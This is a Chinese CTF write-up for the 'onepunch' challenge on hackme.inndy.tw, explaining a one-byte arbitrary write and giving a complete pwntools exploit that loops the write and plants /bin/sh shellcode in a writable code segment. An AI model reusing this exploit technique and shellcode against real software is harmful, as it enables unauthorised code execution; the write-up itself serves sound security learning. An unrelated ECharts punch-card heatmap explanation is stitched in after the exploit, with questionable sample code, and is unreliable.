onepunch的wp

https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了onepunch这个题目感觉还不错,我把wp分享出来,方便大家学习
onepunch的题目要求是:

nc hackme.inndy.tw 7718

Punch!

这个题目没有太多提示
下面我用ida打开smashthestack这个程序看main函数
image
这个程序在16行有一个任意地址写的漏洞,程序输入的第一个数字是写入的地址,第二个数字是写入的数,但是这个程序只能写一个字节的数据到指定地址
先运行一下程序看一下这个程序干了啥
image
再看看程序开启了哪些保护:
image
看到NX enabled是开启了栈不可执行,而且这个程序还有canary保护,但是这个程序没有开启地址随机化
用gdb加载一下这个程序
image
用vmmap这个指令可以看到代码段可读写,这个题目一下子就简单了,通过任意地址的写,把shellcode写入内存中,然后执行起来,先看一下汇编代码
image
可以看到在任意地址写这个漏洞之后有个条件跳转(0000000000400767),可以控制这个跳转向上跳转到输入的地方(000000000040072C)从而使这段代码变成一个循环,可以看一下jz short loc_400756对应的字节码是75 0a,75是jnz,0a是跳转的偏移,所以就刚刚好通过第一次写操作把这个0a改掉,所以程序开始时输入400768 -61就可以让这个程序变成一个循环了
image
这样通过这个循环把0000000000400769后面的代码变成shellcode就可以了,关于shellcode,里面不能出现255,如果有255的话,shellcode就会被程序截断,我找了半天,找到一个好用的shellcode:https://www.exploit-db.com/exploits/36858/
这样就可以实现exp了:

#-*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
import binascii
import time
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'amd64', os = 'linux', log_level = 'debug')

def debug(addr = '0x000000000040075d'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)



elf = ELF('/home/h11p/hackme/onepunch')
stack_chk_fail=elf.got['__stack_chk_fail']
print "%x" % stack_chk_fail


#shellcode=asm(shellcraft.amd64.linux.sh())
#str_shellcode=str(binascii.b2a_hex(shellcode))
#https://www.exploit-db.com/exploits/36858/
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
addr=0x0400769

#io = process('/home/h11p/hackme/onepunch')

io = remote('hackme.inndy.tw', 7718)

payload1 = '400768'
payload2 = '-61'


#debug()

time.sleep(1)
io.recvuntil('Where What?')
io.sendline(payload1)
io.sendline(payload2)
'''
for i in xrange(0,len(str_shellcode),2):
    io.sendline(hex(addr))
    io.sendline(str(int(str_shellcode[i:i+2],16)))
    addr=addr+0x1
'''


for i in shellcode:
    io.sendline(hex(addr))
    io.sendline(str(ord(i)))
    addr = addr + 0x1
io.sendline('4006f3')
io.sendline(str(255))
#io.recv()
io.interactive()

io.close()

效果是:
image

ECharts是一款使用JavaScript编写的开源可视化库,它提供了一种简单的方式来创建丰富的数据可视化图表。热力图(Heat Map)是ECharts中的一种图表类型,用于展示数据的密度分布,而Punch Card(打卡图)是一种特殊的热力图,常用于展示时间序列数据的分布情况,比如记录事件在特定时间发生的频率。 在ECharts中,如果你想要修改热力图来显示Punch Card效果,你需要对热力图的配置项进行一些特定的设置。以下是几个关键步骤: 1. 使用`xAxis`和`yAxis`定义数据的坐标轴,通常用于表示时间点。 2. 在`series`中设置`type`为`heatmap`,这是热力图的类型。 3. 通过`data`属性来提供具体的数据点,数据点通常是一个二维数组,每个内部数组表示一个数据点的x、y坐标和权重。 4. 配置`itemStyle`属性来自定义热力图单元格的样式,例如颜色渐变,以便清晰地显示不同密度的区域。 5. 可以通过`emphasis`属性来设置鼠标悬停时的样式,增强交互性。 示例代码如下: ```javascript option = { xAxis: { type: 'category', data: ['12a', '12p', '1a', '2a', '3a', '4a', '5a', '6a', '7a', '8a', '9a', '10a', '11a', '12p', '1p', '2p', '3p', '4p', '5p', '6p', '7p', '8p', '9p', '10p', '11p'] }, yAxis: { type: 'category', data: ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'] }, series: [{ name: 'Punch Card', type: 'heatmap', data: [ {value: [24, 0], count: 10}, // ... 更多数据 ], itemStyle: { normal: { color: function (params) { // 根据数据点的权重返回不同的颜色 return colorMap.get(params.value); } } }, emphasis: { itemStyle: { // 鼠标悬停时的样式 borderColor: '#fff', borderWidth: 1 } } }] }; ``` 在这段代码中,`colorMap`是一个预定义的颜色映射函数,用于根据数据点的权重返回不同的颜色,以展示不同的密度。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值